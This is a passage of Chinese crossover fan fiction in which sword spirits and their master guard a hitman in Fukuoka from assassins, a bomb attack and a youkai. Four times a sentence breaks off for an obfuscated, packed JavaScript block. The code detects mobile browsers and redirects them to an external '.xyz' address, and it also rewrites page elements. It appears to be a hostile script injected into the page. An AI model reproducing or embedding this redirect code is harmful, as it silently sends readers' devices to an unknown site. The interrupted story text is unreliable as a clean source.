就刀剑来说是很难得的休息时光。 清光嘴角扬起,凑过来戳了戳千祈的脸,耳朵上的花花耳坠随着动作摇晃: “还不是主人总会忘记求助我们,明明都是主人的刀,随便怎么用都好啊——” 无论是成为主人手中的利刃,还是辅佐主人的家臣,只要主人愿意,都可以随意使用。 不过多年的人类生涯总是让千祈意识不到这份来自刀剑们的爱意与托付。她更多时候将刀剑视为家人,而自己身为一家之主总是需要承担更多的责任。 辛苦点没关系呀,婶婶养刀剑是很正常的事情。 本来是抱着这样的想法…… “好啦,那就拜托你们了,我未来能不能摆脱加班就靠清光你们了。” 千祈叹气,生活不易啊。 这样想着,她继续批阅桌上的总结和申请。 再努努力,等现世那边揪出福冈的逃犯,她就可以放个小假,带着刀剑们在现世好好玩一玩。 “好,就这样决定了!”不自觉地把脑袋里面的话说了出来。 清光疑惑:“决定?怎么了主人?” “啊,没什么,”突然意识到自己嘴瓢,赶紧打补丁道,“就是看清光你的指甲油好像有些脱落了,要不现在给你补一下?” 清光看了看自己手上的指甲油,确实有一点点脱落的迹象,应该是昨天在演练场和大和守安定对练导致的。 “说起来确实,一会可以麻烦主人帮我补一补吗?” 加州清光抓住机会使出技能:撒娇。 他伸出手,眼睛布灵布灵地看着千祈,美丽的脸蛋加上嘴角的痣,和在往日战场上帅气挥刀的身影形成强烈反差。 千祈受到会心一击,被自家刀剑附丧神的美貌俘获,手上批阅的动作肉眼可见地飞快起来。 “马上,还有一点就处理好了!” ** 福冈。 夏天的炎热尚未过去,柏油路面被晒得发烫,空气里颤动着肉眼可见的热浪。 别墅前院的草地上临时支起一个两米直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430558|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 径的充气水池,里面的水被太阳晒了大半天,摸上去温温的,一点也不凉。 “大虎!”有着细软头发的男孩惊呼,怀里黑白花纹的小猫嗖地一声跳进水里,溅起的水花拍湿了站在水池旁边的齐藤。 “抱歉!齐藤殿没事吧!”男孩非常不好意思地道歉。 齐藤摆摆手,表示并不在意,把千祈托付给他照看的侨梅猫猫放在一旁椅子的软垫上。 猫猫很乖,外观和行动上和现实的奶猫几乎没区别,而且也不用吃东西和拉臭臭,还会卖萌撒娇,简直是绝世好猫。 不过一想到本质上这只猫猫生前是人类,齐藤卓也还是打消了当宠物养的想法。 “感觉这两天真的很平静呢,千祈小姐也不在。” 据说是在现世当社畜累了,正好回去处理别的事情转换一下心情。 齐藤卓也不太能理解,却由衷尊重这种靠从事别的工作来缓解压力的、属于社畜的独特爱好。 五虎退用手在水里划拉划拉,缩小身形跳进池子里的大虎踩水凑近舔了一口手背。 “没关系的,齐藤殿就安心在这里住下吧。我们会保护好你的!” “有我们在,没人能够伤害齐藤殿哦!”抱着小鸭泳圈的包丁也跟着漂了过来。 说实话,被一群外貌如孩童的非人类如此认真地承诺保护,齐藤心里莫名泛起一丝微妙的罪恶感。 总觉得自己好像成了个特别不可靠的大人啊。 …… 不远处院子里玩耍嬉闹的声音隐约传过来,紫乃原坐在车里,盯着不远处的一家人。 “真是其乐融融的亲子时光,看样子这家伙也一般般嘛,一点警惕心都没有。” 他漫不经心地望着别墅方向的动静,膝上的电脑屏幕正显示着这户人家的详细资料。不得不说,这个家庭的关系结构相当特别。 年轻母亲与孩子们自然不必多说,但除了齐藤之外,家里竟还住着两名成年男性——一位是餐厅厨师,另一位则是在便利店打工的年轻店员。 如果假设那位气质更沉稳的厨师是丈夫,那么便利店青年大概就是已成年却仍未搬出去的长子吧。 这样的配置,乍看之下或许能瞒过普通邻居的好奇心。但紫乃原身为同行,一眼就能看透这层伪装下的暗涌。 “果然,这里根本就是伪装过的杀手据点。什么兄友弟恭的家庭剧场,不过是对外摆出的障眼法。” 他推了推眼镜,自信已洞察真相。 能那样干净利落地处理尸体,必然与地下世界有关。而这群与齐藤非亲非故的人竟愿意收留他,答案只有一个 ——这整家人,就是替齐藤完成善后的那个团队。 不愧是福冈,连几岁的小孩都能涉足这种灰色产业,真不愧是“杀手之城”。 紫乃原瞥了一眼后备箱里的炸药,他自然不是毫无准备就来的。 与此同时,刚走出水池正擦拭身体的齐藤,没来由地打了个冷颤。 “虽说是盛夏,但从水里出来还是有点冷诶。”齐藤喃喃道。 19.第 19 章 “是,是。您放心。”张正对着电话那头连声应和,眼角余光瞥见对面坐着一言不发的宗方,他下意识用手掩住话筒,压低的嗓音变得含糊起来。 “……女的……对对,多些?明白,一定办好。” 几分钟后,电话挂断。张脸上那副卑躬屈膝的神态瞬间消散,仿佛从未存在过。他转向宗方,语气里已没了刚才的客气,反倒透出几分讥诮: “说起来,宗方先生,真没想到你们这行的老手,居然连个小鬼都摆不平啊。” 他翘起腿,慢悠悠地点了根烟。 “本来嘛,看在咱们是长期合作,又念在你们是老手,这单的费用我都打算给你们免了。可现在倒好,人没解决干净就算了,尾巴也没收拾利索。” 宗方的指节捏得发白,却仍旧沉默。干杀手久了,被当作随时可弃的工具早已是常态。可同伴尸骨未寒,就被人这样轻蔑地评价,这让他感到极为不快。 但他深吸一口气,将怒意压回胸腔。 伊万诺夫的仇,不能就这样算了。 “我们从情报线人那搞清了他们的动向。你们提供的那个女人,根本不是什么无亲无故的目标,她是那小子的亲妹妹对吧?” 他们顺着伊万诺夫的手机定位找到了一个名为榎田的情报贩子,并从对方口中知道了为什么张会要求他们除掉林宪明。 宗方抬起眼,盯住张,质问道: “而关于这个女人的身份……你们当初可是保证过她背景干净、无人可依的。” 张的脸上掠过一丝明显的不悦,嘴唇抿成一条僵直的线,并未立即接话。 宗方见状,眼底闪过一丝讥诮,随即话锋一转:“不过我们也知道了他下一步想要干什么,关于这个叫林的人,我们来解决,如何?” “不。”张拒绝得干脆利落,没有丝毫转圜的余地,“我已经联系了‘仁和加武士’。这一次,必须由他亲手取下那小子的首级。” 他语气斩钉截铁,透着志在必得的狠戾,“至于如何把那小子引到绝路上……就要看你们的手段了。” 亲手了断的打算落了空,宗方心底闪过一丝遗憾,但转念一想,能亲眼看着那个家伙走向死亡,似乎也不错。 宗方嘴角勾起:“自然。” 他们可是做好了充足准备呢。 ** 夜色浓稠,云层遮挡住月光,整栋别墅浸入阴影中。 墙角下,紫乃原用牙齿扯掉一截废胶带,利落地固定好最后一个炸弹。 他抹去额角的汗渍,低语道:“这样就可以了吧。” 随后拎起工具包,转身隐入通往路边车辆的黑暗中。 几乎就在他离开的同一刻,空气中传来悉悉索索的声音,一道鬼魅般的黑影出现在别墅门口。 黑影缓缓吸气,发出一声满足的叹息,仿佛品尝着空气中的某种甘美。 【好香……】 紫乃原顿住脚步,回头看了一眼身后。 “没有东西……感觉错了吧?”他自言自语,为自己的神经质笑了一下,随即迈开脚步,继续走向车的方向。 宗方先生原先还断定对方是实力高超的杀手,结果出门办事的时候就只留了一个成年人在房子里。 太松懈了。 不过正好,只要等他回到车上,按下按钮…… 【好香,点心。】 身后传来模糊的耳语,紫乃原的脚步定住。 他可以确定,确实是有东西在身后。 “是谁——” * 齐藤卓也在床上翻来覆去地睡不着。 别墅今夜格外空荡,只剩下他、由侨梅化作的白猫,以及千祈留下的两位外表如孩童的护卫——药研藤四郎与五虎退。 烛台切去居酒屋打工,青江在便利店上夜班,包丁藤四郎被药研藤四郎从千祈身上扒拉下来,撅着嘴出门找千祈之前在酒店用灵力标记过的两人去了。 至于千祈则以工作事宜为由,从公司到家后马不停蹄地用传送阵回了一趟地狱。齐藤倒也理解,打工人嘛,活着和死了似乎也没什么区别。 都是牛马。 想到这里,齐藤也有点困了。起身打算去一趟厕所后就回来睡觉。 身为猫咪的侨梅在此时警觉地竖起耳朵。 齐藤对此一无所知,他迷迷糊糊地走下楼梯,踱进一楼的厕所。黑暗中,他摸索着站定,正准备拉下睡裤—— 一阵突如其来的拉扯感从裤脚传来,阻止了他的动作。 他低头一看,借着窗外漏进的微光,只见那只通体雪白的侨梅不知何时跟了下来,正用两只前爪死死扒住他的裤脚,一下一下地向后猛拽,喉咙里发出急促的呜咽。 “喵——!” 这一声猫叫不同于平日的慵懒,尖利而带着明显的警告意味,在寂静的夜里显得格外刺耳。 “嗯?侨梅,我要上厕所啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440172|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。就算你现在是猫,也不能守在这儿吧?”齐藤无奈叹气。 虽说这两天他已勉强适应了这些灵异事物,也不再害怕猫形态的侨梅,可她终究是暂时变成猫的。 万一以后恢复人形,那无论对她还是对自己,心理阴影面积可都无法计算。 但白猫仍锲而不舍地挠着他的脚踝。齐藤只得俯身,轻轻将她抱起,然后—— “你就在门口等我吧。” 总算能好好上厕所了。 可今夜的侨梅格外粘人,等他出来后,又立刻凑上来,围着他的脚边不停转悠。齐藤只当它是无聊了,想找人玩耍。 正当他犹豫要不要找个逗猫棒时,侨梅却猛地从他脚边弹开!原本柔软的身体瞬间弓起,浑身的毛炸开得像只白色的刺猬,它面向齐藤身后的黑暗,发出了充满威胁的“哈——”声。 “怎么了这是?” 齐藤对身后的剧变浑然不觉,仍在为侨梅反常的举动感到困惑。然而,在清冷的月光下,他脚下的影子正如同有生命的活物般,鬼魅般地拉长、扭曲。 影子的脖颈处,竟猛地窜出无数细长、带着关节的狰狞节肢。 其中一只节肢绕过尚在疑惑的齐藤,以惊人的速度精准地刺向白猫! 侨梅反应极快,后腿发力一跃而起,看似柔软的爪子竟狠狠地将那只袭来的恐怖肢节拍开。 齐藤闻声回首,蜈蚣一般的怪物近在咫尺,他瞳孔骤然收缩。眼前的恐怖景象让他的大脑一片空白,生存本能压倒了一切。他猛地俯身薅起侨梅,头也不回地往前冲。 “救命——!这什么东西——啊!” 那怪物发觉自己的攻势竟被一只孱弱的小猫拍开,动作不由得一滞。随即,仿佛因羞恼而杀意暴涨,化作一道扭曲的黑影,猛地朝齐藤卓也扑去! 怪物发出刺耳的嘶吼。 【区区小妖怪——竟敢——!】 随着怒吼,周身细长而坚韧的足肢如暴雨般疯狂刺向齐藤卓也。 齐藤连滚带爬地在地上翻滚躲闪,足肢一次次擦着他的身体钉入地板,溅起碎屑。 他跌跌撞撞退到窗边,背脊猛地撞上冰冷的玻璃,再无退路。怀中的侨梅挣扎着探出头来,喉间发出低沉的呜呜声。 阴影笼罩而下,如蜈蚣一样的怪物舞动着数条肢足,如一张死亡的罗网,朝他迎面扑来—— 下辈子,他齐藤卓也一定好好工作,再也不当什么杀手了。 20.第 20 章 想象中的剧痛并未降临。 齐藤小心翼翼地睁开一只眼,只见药研藤四郎与五虎退不知何时出现,挡在他身前,两柄短刀寒光凛冽,交叉着将那只怪物死死钉在窗边的墙上。 很难想象这样看起来瘦弱的身体里是如何爆发出如此可怕的力量的。 但好消息是,现在他们安全了。 齐藤长舒一口气,手脚发软地从地上爬起。五虎退身旁的大虎凑近,试图叼起侨梅,却被白猫灵巧地挣脱,一跃跳回齐藤脚边。 它咬着齐藤的裤脚,想要将对方扯离这个区域。 直到此刻,齐藤才发觉自己后背早已被冷汗浸透,夜风一吹,阵阵发凉。 “我们来迟了,”药研从妖怪身上拔出短刀,利落地收刀入鞘,语气冷静,“听到动静正欲上二楼寻您。” 五虎退在一旁小声补充:“主人交代过这两天会有人对您不利,没想到最先闯来的是这只妖怪。” “怎么还有妖怪啊……”齐藤忍不住低声抱怨。 被杀手盯上已经够倒霉了,现在连妖怪也找上门来,真是祸不单行。 “不过,有一点很奇怪,”药研藤四郎敏锐地皱起眉,“这妖怪为何会偏偏盯上齐藤先生您?” 又或者,盯上的并非是齐藤卓也,而是身为猫咪的侨梅…… “我也完全不知道啊……”齐藤惊魂未定,小心翼翼地前迈了两步靠近窗边,想仔细查看那只被钉死在墙上的妖怪。 就在这时,窗台的边缘倏地闪过一道极细微、几乎难以察觉的红光。 “齐藤先生,小心——!” 药研与五虎退同时发出警告。 “轰!!!” 话音未落,整栋别墅已被一声巨响撕裂,烈焰瞬间吞噬了一切。 【什么杀手,在绝对的爆炸前都没有用!】 车内,紫乃原望着那片瞬间化为火海的别墅,跳动的火光照亮了他半张脸,映出一抹近乎痴迷的、扭曲的狂喜。 * “什么叫做据点炸了?!” 千祈的声音瞬间拔高,充满了不可置信,尾音甚至带上了一丝她自己都未曾察觉的颤抖,在这平静的天守阁里显得格外刺耳。 她只是按例回了趟地狱处理事务,满打满算在本丸停留不过三小时。十分钟前,她才刚刚批阅完最后一份文件,拿起指甲油和清光度过难得的本丸悠闲时光。 结果现在哞的一声就要上班。 啊不,加班。 通讯那端,药研藤四郎依旧保持着惯有的冷静,但还是能从中听出一丝无奈:“是的大将,几分钟前,您当初故意引来的杀手来袭。据点……被他们用炸药掀翻了。” “庆幸的是侨梅小姐在千钧一发的时候张开了灵力屏障,齐藤君和我们都没事。” 千祈感到一阵天旋地转,指尖一滑,那瓶她刚拿起不久、还带着体温的樱桃红色指甲油脱手而出,“哐当”一声脆响,在榻榻米上滚出老远。 在时之政府工作太久,终日与时间溯行军刀剑相向,她几乎忘了,现代社会除了枪炮,还有地雷炸弹这类不讲武德的东西。 那边药研还在继续汇报:“而且这次袭击前,我们刚刚打败了一只妖怪。大将,这很不寻常,那只妖怪掠过了充满灵力的我们,专门盯着齐藤君和侨梅小姐。” 噩耗接连传来,药研藤四郎的声音也仿佛离她越来越远。 千祈整个人陷入不可名状的黑暗气息中,早知道当时就不刻意留破绽让人给查到这里的。现在可好,她费尽口舌从鬼灯那儿批下经费、一手打造的据点,就这么炸了! 还有莫名其妙的妖怪要抓她的猫。 一想到自己加班之余熬夜建立的据点和传送阵就这样毁于一旦,千祈怒极,一把抓起近侍加州清光放在手边的本体刀,转身就朝天守阁外冲。 被留在原地的加州清光举着涂到一半、指甲油还没干透的手,呆呆地看着主人风风火火的背影,愣了两秒才反应过来。 “诶?!等、主人!您等等我呀!” ** 紫乃原兴奋地望向别墅的方向,伴随着一声巨响,三层的别墅在他眼前轰然倒塌,化作一片灼热的废墟。 短短几秒,冲天的烈焰便贪婪地吞噬了整个建筑。 别说杀手,就算是久经沙场的士兵也逃不过如此饱和式的爆炸。 正陶醉于自己亲手造就、转瞬即逝的毁灭艺术时,一股冰凉的触感却猛地从手腕传来。 “什么?” 低头一看,一副时下监狱非常流行的银色时尚小首饰拷在手上。 “嗯?不喜欢吗?” 一个身着竹甲、头戴夸张武士头盔的小孩,正坐在副驾驶上仰头望着他。对方的语气天真烂漫,仿佛只是在和他讨论一件玩具的款式。 紫乃原的冷汗瞬间浸透了后背。这辆车里,刚才明明只有他一个人! 难道……是趁他布置炸药的时候? 那孩子见他僵住不语,像是忽然理解了什么,竟又从身后掏出一根看起来已被用了很久、磨得锃光瓦亮的粗麻绳,语气带着几分商量和讨好:“诶多……我还有基础款的,不喜欢可以换成这个哦。” 他强压下心头的异样,挤出一个尽可能温和的笑:“小朋友,你怎么在这里啊?这里很危险的,大哥哥下车看看情况,你乖乖别动。” 他一边说着,一边紧盯着副驾上的孩子,手悄悄摸索向身侧的车门把手,却什么也没碰到。 是太紧张产生幻觉了吗? “你打不开这道门的。”孩子的眼眸在远处跳跃的火光映照下,泛着非人般的幽光,没来由地让紫乃原心底发毛。 “你没发现吗?”孩子的语气平淡,陈述着一个显而易见的事实,“你其实已经死了哦。你看,手都已经穿过车门了呢。” 紫乃原悚然一惊,猛地低头。 只见自己的手腕竟真的毫无阻碍地没入了车门内部,仿佛那坚实的金属只是水面倒映下的幻影。 “怎么可能!我明明还活着,我明明按下了——!” 是回来时耳边那个声音吗?那时候他就已经…… 像是意识到什么,紫乃原的声音戛然而止。 副驾上的孩子歪了歪头,似乎对他的困惑很不解:“不知道为什么你连自己死了都没意识到,但你确实已经死了哦。” 那为什么这个孩子能看见身为灵魂的他? 除非……这孩子也根本不是人类。 没管紫乃原还在发愣,那娇小的身影利落地将粗绳穿过手铐,笨拙地打了个结,随即跳下车,扯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451165|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绳子另一头:“好啦,任务完成!主人马上就到了哦。希望你不会被打得太惨。” “毕竟主人最讨厌加班了,不想遭罪的话一定要说真话哦。” 紫乃原一脸茫然,身不由己地被一股无形的力量牵引,轻飘飘地穿过了紧闭的车门。 “不是……要去哪里,什么主人?诶——?” “咚!” 他跌跌撞撞地从车里“飘”出,还没来得及感慨亡魂穿墙而过的奇妙体验,就被一根呼啸而来的棍状物体当胸贯穿,整个人被一股巨力狠狠掼入不远处的树干,动弹不得。 “就是你炸了我辛辛苦苦建立的据点?”一道冰冷的女声响起。 不知何时出现的女人站在他面前,正用手里的刀鞘狠狠戳着他的脸。紫乃原认得她,是这栋别墅的主人,也是不知名组织的杀手。 当然,现在的他终于意识到,能驱使非人存在、并能以这种方式触碰灵魂的女人,其身份绝不可能只是一个简单的杀手。 刀鞘一下下戳在他的脸上,带来一种扭曲的压迫感。 “喂,说话。”女人的表情冰冷,眼底翻涌着怒焰,“把你目前为止在这里做过的所有事情,一字不落地告诉我。” *** 来到燃烧的别墅前,齐藤、猫猫、药研和五虎退几人已经成功从火场撤离。药研和五虎退看起来精神尚好,而齐藤则双腿发软,几乎是被药研半扶半拖着才勉强站稳。 清光好不容易追上千祈的脚步,喘着气说道:“呼——呼——主、主人,您跑得也太快了。” 即便是已经极化后的他,竟也险些跟不上愤怒至极的主人。看来以后得想办法和小云雀搞好关系了,总不能连骑马都赶不上主人的脚步吧。 药研望着千祈愤怒抽打紫乃原的背影,轻声感叹:“大将看起来是真的很生气啊。” 五虎退一手抱着小老虎,一手搂着侨梅猫,低声回应:“毕竟这里是主人辛辛苦苦建立起来的据点啊。” 不远处清光扶腰喘气,几人转头。 清光刚站稳,就听见药研带着调侃的语气说: “哟,清光,是不是松懈了?连本体刀都没带。” 清光忍不住反驳:“钉在树上的那振刀就是我啊喂!” 一路跟在千祈身后,反应过来的时候本体已经变成标枪给人穿树上了。 身旁的齐藤望着不远处千祈正手持刀鞘逼问亡魂的场景,不由自主地摸了摸自己的手臂:“不知道为什么,看着千祈小姐这样,我身上也莫名其妙开始幻痛了……” 只见千祈冷冷地盯着那个已死的倒霉杀手,冷着脸问:“大晚上没事跑来这里炸东西干什么!” “嗷!我说、我说!是宗方先生派我来的,要我在这里暗杀你们!别打——” “啪!”千祈反手又是一记刀鞘:“你不是杀手吗?那怎么现在死了?说!” “别打——!我布置完炸弹回来的时候,不知道为什么就这样死了。只听见有人在耳边说‘好香’……” “然后反应过来就在车里面了!按钮也不是我按的!” “好香?” 如果药研他们杀掉的妖怪确实与紫乃原的死亡有关,那么这或许也能解释为什么妖怪会专门攻击齐藤——毕竟,妖怪也是会吃人的。 21.第 21 章 除去地狱的茶吉尼天与妲己,不喜处中也有不少变为妖怪、以人类为食的动物。如今现世与地狱的通道关闭,部分滞留人间的妖怪甚至不知地狱的存在,捕食人类便成了它们理所当然的选择。 可问题是 ——据紫乃原所说,引爆炸药并不是他的操控,灵魂无法触碰现世事物,自然没办法按下按钮。 那么眼前这炸得七零八落的房屋,又是怎么回事? “药研,斩杀那只妖怪的时候,有没有发现什么不寻常的地方?” “暂时……没有。”药研藤四郎微微蹙眉,似在沉吟。 当时他们刚迅速解决了妖怪,正想仔细搜查尸体,爆炸就毫无预兆地发生了。 难道……还有别的妖怪在暗中作祟? 千祈凝神,调动灵力,仔细感应现场的每一丝痕迹,却一无所获。 紫乃原身上已榨不出更多情报,她只好放弃继续拷问这个害她不能休息、反而被迫加班的家伙。 “好啦好啦,主人消消气。”清光赶忙上前,软声安慰气得脸色发青的千祈,“至少我们问出了一些有用的消息,对不对?” 虽然平日里看着十分靠谱,但一涉及到加班,特别是莫名其妙的加班,主人就会变得有些孩子气。 这个时候身为近侍的他就要好好安抚千祈。 “你看,现在不是知道侨梅的哥哥是谁了吗?” 这确实是少数能称得上“好消息”的情报。 说来也巧,他们原本打算从复仇屋那边打听侨梅哥哥的下落,谁知误打误撞,竟先从紫乃原口中得到了线索。 这一切,还要从紫乃原等人的雇主——福冈市长说起。 为了争取连任,这位市长与福冈地区势力庞大的跨国犯罪组织“华九会”勾结在一起。该组织涉足各类非法交易,杀手业务和人口买卖自然不在话下。 侨梅的哥哥一直为华九会效力,替组织干尽了血腥勾当。可不知最近发生了什么,那位名叫林宪明的少年与组织关系急剧恶化,最终叛逃而出。 然而少年太过天真——华九会这种地方,可不是是说来就来、说走就走的。于是,一直被暗中监视的侨梅,便成了华九会报复林宪明的工具,被送给了市长那心理有疾病、爱好异常的儿子原田勇助手上。 以上,便是侨梅身上这出惨案的来龙去脉。 而市长这边的杀手自然也不是省油的灯,在摸清楚对方的底细后,他们打算将计就计: “明晚,宗方先生打算把他骗到华九会指定的仓库,一举解决林宪明和马场善治。” 紫乃原生无可恋地被捆在树上,有气无力地交代。 “市长的儿子吵着要女人,丽子小姐只好先去稳住他。” 尽管市长身边的几名杀手都看不惯那个纨绔子弟,但拿钱办事,他们也只能硬着头皮收拾烂摊子。 紫乃原所知的情报已全部吐露,千祈也不打算拖着个亡魂到处跑。 她拔出清光的本体,示意药研将紫乃原捆成粽子拴在树上,随后拨通茶吉尼天的电话,让接引科前来收人。 “等等……你们到底是什么人?杀手?还是妖怪?”紫乃原在树下挣扎着抬起头,不甘心地追问。 宗方先生的计划非常完美,唯一的缺漏就是过于急切地想为伊万诺夫报仇,而忽略了要先将对方调查清楚再下手这种基本的素养。 无论是出于好奇还是别的执念,他至少想弄明白自己栽在谁手里。 “如果你真想知道,就去问地狱的第一辅佐官,鬼灯大人吧。” “他一定会好好告诉你的。” 顺便,还会用那根狼牙棒狠狠教育一顿这个导致现世据点消失的元凶之一。 在教训这种专给人添乱的家伙方面,鬼灯从不让人失望。 至于那个按下引爆钮的不知名人物,最好也别让她抓到。 紫乃原眼中充满了震惊与茫然。 直到千祈一行人的身影即将消失在视线尽头,他才从错愕中回过神,慌忙大喊:“等等!你刚才说什么地狱?!喂——放我下来!把话说清楚啊!” * 将紫乃原留在原地后,千祈便带着众人前往复仇屋。 据点已彻底葬身火海——这其中自然也有她决策失误的缘故。本想故意泄露齐藤的踪迹引杀手现身,却因一时惯性思维,导致整个据点被炸毁。 尽管刀剑们纷纷表示理解,还极力宽慰她,这份自责却仍沉甸甸压在心头。但事已至此,再多懊恼也无济于事,眼下最要紧的是把后续问题一一处理妥当。 当务之急,是去复仇屋交换情报。 与次郎等人的沟通异常顺利。复仇屋的人从不过问消息来源是生是死——或许是她展现的能力太过离奇,对方早已默认,哪怕人死了,她也有办法把亡魂从地狱里揪出来问话。 确实可以,就是太麻烦。 次郎轻轻揉了揉侨梅毛茸茸的小脑袋,感叹道:“真是没想到,竟是千祈小姐先一步完成了委托。这样一来,您也不需要我们帮忙了。” “不,还有件事。”千祈指了指齐藤和他怀里的小猫,“我家被炸得什么也不剩,在找到侨梅的哥哥、以及杀害她的真凶之前,齐藤得暂时寄养在你们这儿。” 齐藤卓也一愣,指着自己:“诶?寄养……我?” 次郎有些不解:“你们不在这里住一晚吗?”距离交易的时间还有些时间,就算是提前到达的话也太早了,在华九会的地盘上待久了容易暴露。 千祈摇了摇头:“我们还有事要办,先带小家伙去找她哥哥。” 早些时候,她派遣的刀剑已追踪到了原田勇助的下落,并确认对方身上附着一个亡魂——经反复核实,那正是从众合地狱逃出的罪犯。 虽然离行动还有十来个小时,但加上处理爆炸后续、前往紫乃原所说的与华九会约定地点、以及安排人手堵截附身在市长儿子原田勇助身上的亡魂。 桩桩件件堆叠起来,时间依旧相当紧张。 次郎见状,也不多挽留。短暂接触下来,他大致清楚这位千祈小姐身兼数职,现在真相渐明,家又被杀手炸毁,要处理的事情必然不少。 不过在临走前,看在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462717|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方这单委托并未实际完成的份上,他决定免费送她一个情报。 “千祈小姐,我这边还有个消息,虽然和您已知的可能相差不大,但或许能帮你了解一些当下的情况。” ** 福冈中洲,某地铁站附近。 “啧……紫乃原短信也不回,什么坏毛病。” 灰发男人靠在墙角的阴影里,右侧过长的刘海几乎遮住他半边眼睛。他烦躁地在手机屏幕上敲打着什么,拇指悬在发送键上犹豫片刻,又猛地全部删除。 就在他准备直接拨号时,一条新邮件提示音响起。 【已到,黑色西装。】 见状,宗方只能关掉拨号,回道: 【收到,灯下,过来就好。】 他立刻抬头环顾四周,只见一名身着笔挺黑色西装、头发梳得一丝不苟的男人,正拉着一个大号行李箱,径直朝他所在的角落走来。 “东西送到了,”男人语气带着几分漫不经心,“要验货吗?” “不用。”灰发男人淡淡回道,嘴角牵起一丝微不可察的冷意。他的目光掠过马场善治,随即在箱子上停留。 这本就是为对方设下的死局。待他转身离开,自会有人来收下他的头颅。 此刻,无需节外生枝。 他拎起箱子,却在迈步的刹那迟疑了一瞬。总觉得……这个马场善治不知道为什么看着有些眼熟,是错觉吗? 这个念头转瞬即逝。宗方抿紧嘴唇,不再犹豫,提着箱子头也不回地没入街角的阴影中。 “真冷淡啊……”马场善治他活动了一下手腕,骨骼发出清脆的轻响,语气闲适,“那么,接下来就是工作时间了。” *** 在箱子里被不断转运的滋味糟糕透顶。 稀薄的空气混杂着陈腐的箱体气味,闷热与逼仄无时无刻不在挤压着他,最终化为一种濒临窒息的感觉,连时间的流逝都变得极为漫长。 好在现在颠簸已经停下。拉链声响的刹那,憋闷许久的林宪明顶开箱盖。 映入眼帘的却不是他想象中的市长儿子。 带着眼罩的杀手宗方、拿着手枪的打手、以及—— ——他恨之入骨的张。 几道身影围成一圈,棍棒的阴影与手枪的冷光交错。华九会的张站在几人身后,脸上是毫不掩饰的讥讽。 “林,不会真以为你的计划天衣无缝吧?”他嗤笑道,“那个情报贩子,早就把你卖了个好价钱。” 榎田那家伙,果然情报分子的话不能乱信! “至于你的那位伙伴嘛……”张慢条斯理地拍了拍手。一名戴着怪异面具、西装笔挺的男人应声而出,他手中提着一颗血淋淋的头颅。 男人随手一抛,那头颅便咕噜噜地滚到林宪明的脚边,浓重的血腥气瞬间弥漫开来。 林对那头杂乱的头发和脸有映像,虽然双眼已经被废,但还是能看出一些相似的地方。 “他就在这里了。” 张的声音带着残忍的笑意:“怎么样,林?和伙伴团聚的感觉,是不是特别高兴?” 22.第 22 章 面具人步步逼近,手中武士刀缓缓出鞘,冰冷的摩擦声在空气中刮出一道寒痕。 让人不寒而栗。 林宪明被绑住,以跪坐的姿势,一副垂首等待死期的姿态。 张得意地走近被困的林宪明,声音里满是炫耀:“这可是我花大价钱请来的‘仁和加武士’!普通杀手奈何不了你,这位专杀杀手的‘杀手之敌’,总够资格陪你玩了吧?” 他退后一步,厉声下令,“仁和加武士,砍下他的头!” 一想到这个给分部带来麻烦的小鬼就要消失,张的嘴角微微上扬。 他拿出一根烟,不慌不忙地点上,准备欣赏叛徒的死亡。 武士握刀的手势骤然变换,刀锋扬起,死亡的寒意直逼林宪明的脖颈。 然而,不远处的宗方却眉头一皱。那家伙的嘴唇正极快地蠕动着,似乎在说些着什么。距离太远,他什么也听不清。 就在电光石火之间,武士身形猛地一转,以一种极其怪异的姿势,刀锋划出一道冷冽的弧线,竟朝着两步之外的张反手劈去! 寒光闪过。 一颗头颅应声滚落在地。张的脸上,那抹志在必得的惊讶被永久定格,他至死都不明白,自己重金请来的仁和加武士,为何会将刀挥向自己。 “开枪!干掉他!” “快!” 群龙无首的华九会陷入一片混乱,成员们惊慌地朝仁和加武士倾泻着子弹和刀剑。林宪明的大脑却一片空白,仍无法从这逆转的发展中回过神来。 “这样发呆,你妹妹会担心的。” 谁?! 